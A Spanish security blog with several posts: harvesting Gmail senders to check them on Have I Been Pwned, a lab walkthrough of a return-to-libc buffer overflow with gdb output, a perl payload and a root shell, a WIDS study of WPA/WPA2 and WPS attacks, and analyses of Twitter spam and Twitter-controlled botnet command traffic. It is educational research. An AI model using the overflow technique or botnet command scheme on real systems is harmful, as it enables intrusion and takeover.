Descubre si tus conocidos han sido 'pwned'

Jugando un rato con Python se me ocurrio por una parte sacar las direcciones de correo de quienes me han escrito alguna vez a mi cuenta de gmail y buscarles luego en el servicio "have I been Pwned".

Para ello primero intenté sacar las direcciones de correo de mi cuenta de gmail con:

#!/usr/bin/python import imaplib import sys import email import re FOLDER='inbox' LOGIN='martin.liras@gmail.com' PASSWORD='XXXXXXXXX' IMAP_HOST = 'imap.gmail.com' email_list = [] email_unique = [] mail = imaplib.IMAP4_SSL(IMAP_HOST) mail.login(LOGIN, PASSWORD) mail.select(FOLDER) result, data = mail.search(None, 'ALL') ids = data[0] id_list = ids.split() for i in id_list: typ, data = mail.fetch(i,'(RFC822)') for response_part in data: if isinstance(response_part, tuple): msg = email.message_from_string(response_part[1]) sender = msg['from'].split()[-1] address = re.sub(r'[<>]','',sender) # Ignore any occurences of own email address and add to list if not re.search(r'' + re.escape(LOGIN),address) and not address in email_list: email_list.append(address) print address

...código completamente copiado de http://www.terminalinflection.com/python-script-email/.

El problema aqui lo encontré en que NO HABIA FORMA DE QUE EL SCRIPT SE AUTENTICARA A GMAIL. Sin embargo la contraseña estaba bien, yo estaba logado... un rato dándole vueltas... hasta que de repente mi novia me reenvió un email... de Gmail diciéndole (a ella) que mi cuenta estaba intentando ser hackeada y que si era yo, redujera el nivel de seguridad de Gmail para las aplicaciones que acceden al servicio de correo (en https://www.google.com/settings/security/lesssecureapps ).

Este es el correo enviado por gmail.

Una vez reducido el nivel de seguridad de gmail, el script entró a la primera y empezó a chorrear direcciones de correo:

El proceso es largo, no en vano, yo tengo correos sin borrar (oh yeah, google knows everything about me) desde 2008. Tras mas de una hora de espera, se sacaron 163 contactos.

El siguiente paso consistía en usar la API de HaveIbeenPwned para consultar estas direcciones de correo. Existen al menos cuatro implementaciones en Python que atacan HaveIBeenPwned:

• PwnedCheck
• checkpwnedemails
• PyPwned
• PwnedConsole

Yo me quedé con la primera opción por simplicidad pero hay que reconocer que las otras son más completas y mejores. El programita en cuestion es MUUUUY simple:

import pwnedcheck import sys print pwnedcheck.check(sys.argv[1])

Finalmente aparentemente 21 de mis contactos han sido "pwned" todos ellos en la brecha de Adobe:

El caso es que del leak de Adobe se pueden descargar los 152 millones de contraseñas pwneadas (4Gb) via torrent y las contraseñas vienen cifradas en 3DES ECB... oh dear...

Exploiting "Return to Libc"

Pretendo con esta entrada que aquel como yo que este estudiando estos métodos no se vuelva loco como me ha pasado a mi esta tarde. No voy a explicar exactamente como funciona, si no más bien, como hacerlo funcionar, que es diferente.

El código del programa vulnerable es el siguiente:

#include #include #include fvuln(char *temp1, char *temp2){ char buffer[512]; strcpy(buffer, temp2); printf("Hola %s %s \n", temp1, buffer); } int main(int argc, char* argv[]){ if (argc<3) exit(0); fvuln(argv[1], argv[2]); printf("Hasta luego %s %s\n", argv[1], argv[2]); return 0; }

ERROR 1

Para empezar, si lo compilamos con:

gcc poc.c -o poc

...este metodo de exploiting no funcionará. Es necesario compilar con:

gcc poc.c -Wall -W -g -o poc2

Compilando con si -W y -g , nos saldra el siguiente warning, pero continuara la ejecución, terminando con exito:

sh: 1: =/bin/sh: not found [Inferior 1 (process 13743) exited normally]

ERROR 2

Si vemos que la variable de entorno que queremos utilizar para indicarle la shell tiene diferentes direcciones en cada ejecución, es que tenemos el ASLR activado:

root@kali:~# export SHELL="/bin/sh" root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfd0e77e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfad777e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfa0877e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbf8d677e root@kali:~# ./getENVaddress.o SHELL ./poc SHELL esta en 0xbfa5177e

En este caso lo desactivaremos con:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Como vemos:

root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbfad1e85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbff15e85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbfe56e85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbf993e85 root@kali:~# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space 0 root@kali:~# cat /proc/sys/kernel/randomize_va_space 0 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbffffe85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbffffe85 root@kali:~# ./getenv3 Found BAH="/bin/sh" at 0xbffffe85

ERROR 3

No te fíes de la dirección que te indica el getenv. No es que este mal escrito, es que no nos vale:

(gdb) x/s 0xbffffe85 0xbffffe85: "ON=default"

Yo al final la saqué por el viejo método de prueba/error:

(gdb) x/s 0xbffffe90 0xbffffe90: "HOME=/root" (gdb) x/s 0xbffffe98 0xbffffe98: "ot" (gdb) x/s 0xbffffea0 0xbffffea0: "=1" (gdb) x/s 0xbffffea8 0xbffffea8: "bin/sh" (gdb) x/s 0xbffffea3 0xbffffea3: "BAH=/bin/sh"

ERROR 4 (Y más grave)

Para explotar usando "Return to Libc", debemos de buscar la dirección de libc donde se encuentran system, exit y la variable de entorno antes creada (y fijada). Con gdb lo podemos hacer asi:

(gdb) x/s 0xbffffea3 0xbffffea3: "BAH=/bin/sh" (gdb) p system $1 = {} 0xb7e93c30 (gdb) p exit $2 = {} 0xb7e87270 (gdb) n

He aquí el mayor error que yo cometí. Resulta que no nos interesa la dirección de la variable de entorno, SINO LA DE SU CONTENIDO. Es decir, en vez 0xbffffea3, nos interesa la 0xbffffea7 (En este caso), es decir hay que añadirle la longitud del nombre de la variable y el "=". De esta forma:

(gdb) x/s 0xbffffea7 0xbffffea7: "/bin/sh"

...que es justo lo que nos interesa.

ERROR 4

El buffer es de 512 bytes pero tenemos que machacar algo que esta no justo detras, si no cuatro bytes despues. Me explico el buffer en memoria es algo asi:

===BUFFER de 512 BYTES===\x00\x00\x00\x00===RET1===RET2===

Nosotros tendremos que atacar no RET1 sino RET2. Por tanto en vez de escribir 512 "A", escribiremos 520.

EN RESUMEN

El comando a ejecutar será por tanto algo asi:

/root/poc2 XXX `perl -e 'print "A"x520 . [DIR_RET].[SYSTEM].[EXIT].[ENV_VAR]

Cabe mencionar que DIR_RET da igual que pongamos siempre que no tenga bytes a NULL. Aunque es interesante que sea la direccion de retorno que deberia estar ahi. Con este comando:

/root/poc3 XXX `perl -e 'print "A"x512'`

Esta es la captura de memoria:

(gdb) x/200x buffer 0xbffff0c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0e0: 0x41414141 0x41414141 0x41414141 0x41414141 (...) 0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff2c0: 0x00000000 0xbffff394 0xbffff2e8 0x080484f0

Y la direccion de retorno es 0xbffff2e8. Lo dejaremos asi, pues. El comando entonces será:

/root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7". "\xa7\xfe\xff\xbf"'`

Esta es la captura de memoria (notese que ahora se copian ocho letras "A" mas:

0xbffff0a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff0c0: 0x41414141 0x41414141 0x41414141 0x41414141 (...) 0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff2a0: 0x41414141 0x41414141 0xbffff2e8 0xb7e93c30 0xbffff2b0: 0xb7e87270 0xbffffea7 0x08048500 0xb7fb7ff4 0xbffff2c0: 0x08048530 0x00000000 0xbffff348 0xb7e6ee46

Al ejecutarlo, por fin:

(gdb) run XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7". "\xa7\xfe\xff\xbf"'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7". "\x70\x72\xe8\xb7"."\xa7\xfe\xff\xbf"'` warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 Breakpoint 1, main (argc=3, argv=0xbffff374) at poc.c:12 12 if (argc<3) exit(0); (gdb) n 13 fvuln(argv[1], argv[2]); (gdb) n ^Z AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA����0<��pr跧��� # id uid=0(root) gid=0(root) grupos=0(root) # exit

Instalando una impresora HP en Kali Linux con HPlip

Los más puristas, cuando vean lo que estoy tratando de hacer se van a llevar las manos a la cabeza. Al fin y al cabo Kali no fue pensada para estas tareas. Para usar la impresora, vete a un Fedora, Mint, Ubuntu, Debian o similar. Pero con Kali nunca... Lo sé pero tenía una Kali instalada y por no reiniciar el portatil preferí meterme en este "fregao". El caso es que es factible pero no es directo y el proceso es lo que voy a explicar a continuación.

Para instalar los drivers para mi impresora HP en Linux hay que descargarse el HPlip 3.15.2 desde aquí.

Una vez descargado, descomprimimos, le damos permisos de ejecución al fichero ".run":

Al ejecutarlo nos aparece el primer error de la noche:

En el fondo es un warning, porque dandole a 'y' continuaremos con la instalación. A continuación nos indica que lo instalemos a mano, tal y como se explica en www.hplipopensource.com. Pero lo siento soy muy vago para leer tanto...

De nuevo nos vuelve a advertir de que Kali no esta soportada y de nuevo le diremos que si, que si, que me dejes en paz... A continuación nos pregunta qué tipo de instalacion haremos (le decimos que 'a' , automatica).

En este momento nos pregunta que qué distribución tenemos. Le diremos que un Debian (1) y una Debian 6.0 (1):

...al fin y al cabo Kali esta basada en Debian.

Y a continuación nos suelta que le falta un paquete y que no puede continuar.

En la imagen se trata del "CUPS devel", pero lo cierto es que hay una quincena más que le faltan por instalar en una instalación estandar de Kali. Para que nadie tenga que ejecutar (como yo) 15 veces el hplip, incluyo a continuación el listado de paquetes que es necesario instalar:

apt-get install cups libcups2-dev libcups2 libusb-1.0.0 libcupsimage2 libcupsimage2-dev avahi-utils python-qt4-dbus python-notify sane-devel libsane-dev xsane

Creo que no me dejo ninguno.

Volvemos a ejecutar el hplip, tal y como hemos hecho antes. Si nos dice que ya hay una version anterior instalada, la machacamos (con la i):

Como vemos en la parte inferior ya no le falta ningun paquete.

Comienza a instalar y nos pide la password de root. Se entiende que porque va a ejecutar con 'su'.

A continuación nos pregunta si estamos instalando una impresora USB. No es mi caso, asi que le doy a "i" de ignorar y luego es cuando escanea la red (en la que es necesario estar conectado) y me encuentra la impresora. Me pide que le de un nombre.

Por último da otro error: No encuentra un fichero PPD válido:

Resulta que los ficheros PPD estan en un subdirectorio y estan comprimidos, por lo que con otro terminal, voy a /root/hplip-3.14.10/ppd/hpcups/hp-deskjet_XXXX_XXXX_series.ppd.gz, lo descomprimo y le paso esa ruta al programa de instalación:

Por ultimo por fin pregunta si queremos imprimir una página de prueba.... y ante el asombro general funciona y la imprime.

Y poco más, ya solo queda usarla:

P.D: para hacer capturas de pantalla en Kali:

gnome-screenshot --interactive

WIDS. Detección de ataques contra redes WPA y WPA2 a nivel de capa 2 (Parte 1)

El presente articulo era inicialmente un trabajo de doctorado que comencé a realizar. Al quedarse este trabajo un poco a medias, decidí aprovechar el texto escrito para publicarlo en este blog.

1.- WIDS

El objetivo del presente trabajo es el estudio de los IDS Wireless (también llamados WIDS) existentes que detecten ataques contra redes con cifrado WPA y/o WPA2.

Existen multitud de WIDS comerciales, alguno ya muy antiguos que detectan perfectamente ataques contra cifrados WEP, DoS o ataques de desautenticación o fragmentación. Lo que queremos es saber si estas soluciones nos permitirán detectar ataques contra las actuales redes inalámbricas, protegidas en su gran mayoría con cifrados WPA y WPA2.

Algunos ejemplos de WIDS comerciales existentes son:

• AirSnare
• WIDZ
• AirDefense

Existentes otras soluciones de código abierto que, de hecho, son las más utilizadas como:

• Wireless-Snort
• SyWorks WAIPDS

2.- Tipos de cifrado en redes Wireless

Existen cuatro modos de cifrado de un red Wireless:

• Sin cifrado: Cualquiera puede conectarse a la red wifi. Todo el tráfico circula en claro y es el mas inseguro. Aquí no hay problemas de ataques ya que cualquiera puede conectarse a redes de este tipo.
• Cifrado WEP: Se encuentra ya casi en desuso debido a los multiples problemas existentes en su arquitectura, ya que es vulnerable en muchos puntos y ha sido crackeado de multiples formas. Algunos de los ataques usados contra el cifrado WEP son ataques de fragmentación, el ataque Caffe Latte, el ataque chop-chop (o ataque Korek), el ataque FMS [24], el ataque 1+3, el Hirte Attack, el ataque PTW [25]…. La gran mayoría de este tipo de ataques deja su huella si hay un WIDS escuchando.
• Cifrado WPA: Se trata de un paso intermedio al cifrado WPA2. Debido a lo fácilmente “crackeable” que era el cifrado WEP se decidió publicar un nuevo estándar de seguridad para las comunicaciones Wifi. Sin embargo no se probó lo suficiente y lo que salió fue WPA. WPA sufre de varios de los problemas de WEP, aunque definitivamente es más seguro. WPA también puede sufrir ataques como el “ataque chopchop modificado”, el ataque de disasociación o los ataques tipo WLAN.
• Cifrado WPA2: Es el estándar de cifrado recomendado actualmente. La única forma conocida de romperlo es usando ataques de fuerza bruta o con ataques a WPS. Esto por supuesto deja su huella.

Nosotros nos centraremos en los ataques a redes WPA y WPA2, que hoy en día son más del 95% de las wifis domesticas instaladas en este pais. Los ataques a redes con cifrado WEP han sido extensamente descritos en [20] [21] [22] [23] [24] y [25] y son bien detectados por los WIDS actualmente existentes.

Estos ataques contra WEP y contra las redes sin ningún tipo de cifrado quedarán fuera del ámbito de este trabajo.

3.- Los ataques contra WPA/WPA2

Los ataques sobre redes WPA y WPA2 los podemos dividir en 5 tipos:

1. Fallos de la configuración por defecto de los APs. Son fallos en la interfaz web de los routers o en las contraseñas por defecto de las APs. Algunos ejemplos de estos fallos son:
   1. Contraseñas por defecto de redes WPA WLAN_XXXX. Las contraseñas por defecto de los routers de las redes WLAN_XXXX de Movistar de los años 2011-2013 seguían un algoritmo bien conocido. Con la aplicación WPAMagicKey era posible obtener esa contraseña, únicamente sabiendo la MAC del AP, que se envía en claro en los beacons. Estas redes han ido desapareciendo poco a poco.
      
      
   2. Contraseñas por defecto de redes VodafoneXXXX de Arcadyan. Las contraseñas por defecto de los routers de las redes VodafoneXXXX de Vodafone de los años 2013-2014 seguían un algoritmo bien conocido. Con la aplicación “VodafoneXXXX Arcadyan ESSID,PIN and WPA Generator “ es posible obtener esa contraseña, únicamente sabiendo la MAC del AP, que se envía en claro en los beacons.
      
      Como decía, las formas de ataque son muy variables. Desde el envío de paquetes complejos y difíciles de parsear, hasta fallos en el servidor Web de los routers. Además, las vulnerabilidades a estos niveles dan casi siempre acceso de administración al atacante.
      
      Otros ejemplos: El firmware de Prism2/Orinoco vulnerable a un “probe response” con longitud de SSID 0 [17]. Los drivers Broadcom para Windows eran vulnerables a un buffer overflow [18] o que los drivers Dlink para Windows eran vulnerables a un buffer overflow en las velocidades de envío [19].

      Lo cierto es que aparecen varias vulnerabilidades de este tipo cada año. Todas ellas son fáciles de detectar… a posteriori, pero es necesario tener actualizado en todo momento el WIDS. El problema consiste en que muchas veces estos problemas de configuración son locales a una zona geográfica (por ejemplo en los casos mencionados anteriormente solo afectaban a ISPs españoles proporcionando lineas de internet en España. Sin embargo las soluciones comerciales son en su inmensa mayoría americanas y no se actualizan ante problemas como los mencionados.

2. La obtención del handshake o acuerdo de 4 vías que permite al cliente y al punto de acceso negociar las claves utilizadas para cifrar el tráfico enviado. Una vez con el handshake, obtener la contraseña mediante un ataque de diccionario.
   
   Para obtener el handshake, existen dos alternativas: o bien esperar a que se conecte un cliente al AP, o forzar a un cliente conectado a reconectarse.
   
   Una vez que se obtenga el handshake, se debe usar un diccionario lo más completo posible y se utilizarán herramientas como aircrack-ng, cowpatty o Pyrit para obtener la contraseña.
   
   
3. La creación de redes falsas que simulen ser las originales para que los clientes se conecten a ellas y realizar ataques MITM contra ellos. Estas redes falsas , tambien conocidas como Rogue APs o como el ataque Evil Twin, se tratan realmente de un ataque MITM. Este ataque consiste en hacerse pasar por una red legítima. Si conocemos el SSID de una red y su cifrado (WEP, WPA…), datos que son públicos, y su contraseña, podremos crear una red similar con la misma contraseña. Los dispositivos se conectaran automáticamente a la red que tiene mayor potencia y muy pocos avisarán que la MAC del router ha cambiado. Los WIDS estándar detectan perfectamente los llamados “rogue APs”.
   
   
4. WPS. El WPS es un mecanismo creado para facilitar la conexión de dispositivos a nuestra WiFi. Existen varios métodos mediante los cuales un dispositivo puede unirse a una red inalámbrica mediante WPS pero el más extendido (y el que se usa en las redes domésticas), es el intercambio de PIN. El dispositivo debe transmitir un código numérico al router y a cambio este último le envía los datos para acceder a la red.
   
   Es decir, si nuestro router tiene habilitada la funcionalidad WPS y queremos acceder a nuestra WiFi, simplemente tenemos que enviarle un código PIN de 8 dígitos para que el router nos permita acceder a la red inalámbrica. Habitualmente, este código PIN viene escrito en la parte inferior del router, pero existen maneras alternativas de averiguarlo.
   
   El problema es que el tiempo que un atacante necesita para averiguar un PIN de 8 dígitos es mucho menor que el que necesita para averiguar la contraseña WPA2 configurada en la red.
   
   La forma de conseguir este PIN es probando todas las combinaciones de 8 dígitos, es decir 100 millones de combinaciones. Sin embargo lo cierto es que no todas son válidas y con apenas unas 11.000 pruebas (unas 4 horas de tiempo) podría ser suficiente para acceder a la red Wifi. Por supuesto todas estas pruebas denotan un posible ataque WPS.
   
   La razón por la que se reduce a estas 11.000 combinaciones es que el Handshake se envía dividido en 2 mensaje, uno para los 4 primeros dígitos y otro para los tres últimos… y el ultimo carácter es el cheksum!!.
   
   Además, cada mensaje es validado independientemente, asi que el pin es realmente 10^4 + 10^3, es decir 11000 combinaciones.
   
   Este problema se conoce desde 2011 pero todavía la gran mayoría de routers siguen teniendo activado WPS, si bien algunos de ellos han añadido técnicas para evitarlo (bloqueando temporalmente el WPS si detectan multiples intentos fallidos).
   
   La forma de detectar estos ataques es el siguiente. El tráfico WPS legítimo debería ser muy irregular. Sólo los nuevos usuarios que se conecten a una red por primera vez lo generarían. 11.000 peticiones son muchas. No es un tráfico normal. Detectar este tráfico sería muy sospechoso. Recientemente Dominique Bongard [1] descubrió que se podía acelerar este ataque, haciendo 1 intento fallido (dejándolo a medias) y luego calculando dos códigos en el ordenador para reanudar a los pocos segundos la autenticación. Esto también deja su huella.
   
   
5. Ataques DoS . Cuando hablamos de ataques DoS contra una red Wifi por completo, estaremos hablando o bien de Jamming o de un DoS contra el AP.Los primeros son prácticamente inevitables. Si alguien nos quiere hacer un ataque de este tipo, para solucionarlo tendremos que encontrar el Jammer y apagarlo. Los segundos, son complejos pero solucionables. Sería necesario el cambio de credenciales del router y la actualización del dispositivo. En cualquier caso los WIDS actuales detectan ambos tipos de ataques DoS, por lo que no entraran en el ámbito de este trabajo.

4.- Aplicaciones y scripts de crackeado de redes WPA y WPA2

Estas aplicaciones automatizan el crackeo de contraseña de redes Wireless. El problema es que generan mucho ruido y son fácilmente detectables. Un ejemplo es GoyScript, que facilita los ataques a redes con cifrado WEP, WPA y WPS, incluye varios diccionarios de ataque y un interfaz muy amigable que permite realizar los pasos antes mencionados de una forma automática.

Otro ejemplo muy “currado” es Linset que realiza las siguientes acciones de forma automática:

1. Escanea la red.
2. Permite seleccionar la red que queremos atacar.
3. Busca handshake (se puede usar sin handshake)
4. Monta un FakeAP imitando al original
5. Se crea un servidor DHCP sobre el FakeAP
6. Se crea un servidor DNS para redirigir todas las peticiones al Host
7. Se lanza el servidor web con la interface seleccionada
8. Se lanza el mecanismo para comprobar la validez de las contraseñas que se van a introducir.
9. Se deautentica a todos los usuarios de la red legítima, esperando que se conecten al FakeAP e introduzcan la contraseña.

5.- Referencias

[1] http://es.slideshare.net/0xcite/offline-bruteforce-attack-on-wifi-protected-setup
[2] Wireless Intrusion Detection System Using a Lightweight Agent, 2010, http://www.qpic-kw.com/uploads/downloads/05474532.pdf
[3] WHIFF – Wireless Intrustion Detection System, McAffee, 2003, http://www.mcafee.com/it/resources/white-papers/foundstone/wp-whiff-wireless-intrusion-detect.pdf
[4] Wireless Intrusion Detection Systems, 2010, Symantec, http://www.symantec.com/connect/articles/wireless-intrusion-detection-systems
[5] Intrusion Detection Systems Challenges for Wireless Network, Febrero 2012, Manish Kumar et al., http://www.ijera.com/papers/Vol2_issue1/AQ21274280.pdf
[6] Wireless Intrusion Detection and Response, Yu-Xi Lim et al, Junio 2003, http://users.ece.gatech.edu/owen/Research/Conference%20Publications/wireless_IAW2003.pdf
[7] Wireless Snort – A WIDS in progress, Craig Valli, http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.59.5498&rep=rep1&type=pdf
[8] A Closer Look at Wireless Intrusion Detection, Aruba networks
[9] Applying Wired IDS History to Wireless IDS, Joshua Wright, 2000, http://www.willhackforsushi.com/papers/ids-wids-history.pdf
[10] Anomaly Intrusion Detection System in Wireless Sensor Networks: Security Threats and Existing Approaches, Safiqul Islam, Noviembre 2011, http://www.sersc.org/journals/IJAST/vol36/1.pdf
[11] Wired and wireless intrusion detection system: Classifications, good characteristics and state-of-the-art, Tarek S. Sobh, Septiembre 2006,
[12] Applying Intrusion Detection Systems to Wireless Sensor Networks, Rodrigo Roman et al, 2006, http://www.lcc.uma.es/~roman/files/roman-ccnc06.pdf
[13] EWIDS: An Extended Wireless IDS for Metropolitan Wireless Networks Based on Kinematical Analysis, Luci Pirmez et al, Julio 2011, http://paper.ijcsns.org/07_book/201107/20110702.pdf
[14] HoneySpot:The Wireless Honeypot, Raul Siles, Diciembre 2007, http://honeynet.org.es/papers/honeyspot/HoneySpot_20071217.pdf
[15] Addressing Wireless Threats with Integrated Wireless IDS and IPS in the Cisco Unified Wireless Network, CISCO, http://www.technology- resources.co.uk/white-paper/wireless-networking-wlan-wi-fi/4319/addressing-wireless-threats-with-integrated-wireless-ids-and-ips-in-the-cisco- unified-wireless-network/
[16] Comparative Analysis of IDS Algorithms for Wireless Sensor Networks, Harshal A. Arokar et al, Marzo 2011, http://www.bvicam.ac.in/news/INDIACom%202011/39.pdf
[17] 802.11b Firmware-Level Attacks, http://www.willhackforsushi.com/papers/firmware_attack.pdf
[18] Broadcom Wireless Driver Probe Response SSID Overflow http://www.securiteam.com/exploits/6P00H1FHFA.html
[19] D-Link DWL-G132 Wireless Driver Beacon Rates Overflow http://www.securiteam.com/exploits/6O00G1FHFY.html
[20] Atacando WEP sin AP o ataque Caffe Latte. http://highsec.es/2013/09/atacando-wep-sin-ap-o-ataque-caffe-latte/
[21] KoreK chopchop. http://www.aircrack-ng.org/doku.php?id=es:korek_chopchop
[22] Ataques contra WEP – Ataque de Fragmentación. http://thehackerway.com/2012/04/20/wireless-hacking-ataques-contra-wep-ataque-de- fragmentacion-parte-x/
[23] Ataques contra WEP – Hirte Attack. http://thehackerway.com/2012/04/25/wireless-hacking-ataques-contra-wep-hirte-attack-parte-xi/
[24] FMS Attack on RC4. http://www.cs.rit.edu/~axl6334/crypto/Report.pdf
[25] Attacks on the WEP protocol. http://eprint.iacr.org/2007/471.pdf
[26] An Inexpensive Wireless IDS using Kismet and OpenWRT. SANS. https://www.sans.org/reading-room/whitepapers/wireless/inexpensive-wireless-ids-kismet-openwrt-33103

Encontrando Spam en Twitter

Uno de los usos en constante crecimiento de Twitter es el envío de SPAM (ya sea publicitario, malicioso, bulos o simplemente mensajes que pretenden restar credibilidad a alguien).

En Twitter no es dificil encontrar cuentas que sólo publican SPAM. Por ejemplo con mensajes repetidos de este estilo:

#TechNews Crash Override wants to help survivors of Gamergate and other online abuse http://bit.ly/1ypjtxY 

Buscando por ejemplo este mismo texto en twitter, casi sin darse cuenta, aparecen cientos de tweets (Y ahora que Google va a volver a indexar tweets será mucho más facil):

Lo que inicialmente fue una noticia real, publicada por theverge.com, y con, desde mi punto de vista, poco interes, al cabo de un rato comenzó a ser un twitteado en apenas 4 minutos por al menos 33 cuentas distintas redirigiendo a un dominio en concreto (entertainmentnote.com). Todos ellos con fotis de chicas y chicos de buen ver y con nombres de cuentas, cuando menos sospechosos (@Kf0frjcglryh4 o @mcyz8pv5shj)

A veces ocurre que dos "hermanas gemelas" twittean spam con sus respectivas cuentas:

Abriendo alguna de estas cuentas al azar vemos que esta "persona" tiene la increible capacidad de escribir 10 tweets en el mismo minuto, estar 35 minutos sin twittear y de nuevo escribir 10 tweets en el mismo minuto:

Si investigamos un poco más en detalle, podemos ver que , como decia, todos los enlaces de estos tweets, apuntan a un mismo dominio:

ENTERTAINMENTNOTE.COM

Una vez revisado el dominio no parece malicioso, y los contenidos son los "publicitados" en los tweets, por lo que parece spam cuyo objetivo es ese: publicitario. Investigando un poco mas, el dominio aparece registrado a nombre de Rohit Singh de Delhi, India.

Y el hecho es que existe todo un mercado negro de este tipo de botnets:
http://www.imchris.org/research/thomas_sec13.pdf

Como digo no son dificiles de detectar, suelen ser cuentas con gran numero de tweets y con muchos followers y "following". Tienen todas el mismo formato de Tweets, tanto en tamaño de letra, estructura, enlaces, todo.

Existen multiples articulos de investigación sobre la detección de spam en twitter, como éste, éste o éste, pero de verdad que no hay que ser un hacha para detectar que una cuenta es usada con estos fines.

Botnets controladas por Twitter

Una de las caracteristicas principales de las botnets es que disponen de un servidor de control operador por el botmaster y desde el que éste manda ordenes que serán realizadas por todos los nodos zombies de la botnet. Este caracter central del servidor C&C hacía que anulando este nodo central, toda la botnet quedara destruida. Para evitar esto hacia 2009 aparecieron las botnets P2P, pero antes que eso, a los hackers se les ocurrió utilizar servicios públicos para controlarlas. En concreto las redes sociales.

Una botnet controlada mediante twitter tiene ciertas ventajas para el botmaster. Por ejemplo, no necesita de ninguna infraestructura propia o contratada para mantener la botnet. Además la detección de las cuentas de control puede ser muy dificil entre los casi 1000 millones de cuentas que actualmente existen en Twitter.

Muy pocos son los casos de botnet controladas por twitter documentadas. Sin embargo tiene que haber (y haber habido) muchas más de las que comento en esta entrada.

La primera prueba de concepto del control de una botnet usando comandos de twitter (http://digi.ninja/kreiosc2/), se publicó a principios de 2009 y fue mencionada en la Defcon17 en la charla Social Zombies: Your Friends Want To Eat Your Brains.

Se trataba de una botnet que utilizaba autenticación básica, metodo de autenticación que seria posteriormente cambiado por Twitter a OAUTH, mucho mas robusto.

La botnet NAZ

En Agosto de 2009 saltaba la noticia de que se habia descubierto (por casualidad) una botnet controlada mediante twitter. Se difundió por todas partes la captura de pantalla de la cuenta que actuaba como servidor C&C:

Como se puede ver, en el momento de la captura de la imagen la cuenta tenía 7 followers, que no tienen que ser nodos del botnet, ya que los mensajes en twitter son públicos y era a través de éstos que el botmaster se comunicaba con sus nodos.

Esta botnet fue estudiada en mucho detalle en:

• https://paulmakowski.wordpress.com/2009/08/
• http://www.arbornetworks.com/asert/2009/08/twitter-based-botnet-command-channel/
• ...y en este paper

Los comandos utilizados eran palabras codificadas en base 64. De hecho los 18 primeros caracteres eran siempre iguales. Al decodificar estos comandos, se obtenian URLs de bit.ly que redirigian a:

• aHR0cDovL2JpdC5seS8xN2EzdFMg --> http://bit.ly/17a3tS --> http://rifers.org/paste/content/paste/9509/body?key=upd4t3
• aHR0cDovL2JpdC5seS9MT2ZSTyBodHRwOi8vYml0Lmx5L0ltZ2 --> http://bit.ly/LOfRO --> http://rifers.org/paste/content/paste/9508/body?key=upd4t3
• aHR0cDovL2JpdC5seS8xN2w0RmEgaHR0cDovL2JpdC5seS8xN --> http://bit.ly/17l4Fa --> http://rifers.org/paste/content/paste/9507/body?key=upd4t3
• aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 --> http://bit.ly/3RwAN --> http://pastebin.com/pastebin.php?dl=m49f3b4c2
• aHR0cDovL2JpdC5seS9wbVN1YyBodHRwOi8vYml0Lmx5LzE3b -->http://bit.ly/pmSuc --> http://paste.ubuntu.com/252515/plain/
• aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC -->http://bit.ly/GhuUu --> http://rifers.org/paste/content/paste/9506/body
• aHR0cDovL2JpdC5seS9RakFaWQ== --> http://bit.ly/QjAZY  --> http://paste.debian.net/44059/download/44059
• aHR0cDovL2JpdC5seS83UGFEOQ== --> http://bit.ly/7PaD9  --> http://paste.debian.net/44056/download/44056
• aHR0cDovL2JpdC5seS9HaHVVdSBodHRwOi8vYml0Lmx5L1FqC -->http://bit.ly/Qj --> http://nossacamiseta.net/product_info.php/products_id/564
• aHR0cDovL2JpdC5seS8zUndBTiBodHRwOi8vYml0Lmx5LzJwU0 --> http://bit.ly/2pS --> http://friendfeed.com/koltregaskes/6c53228d/twine_official-i-ll-e-mail-straight-away-any
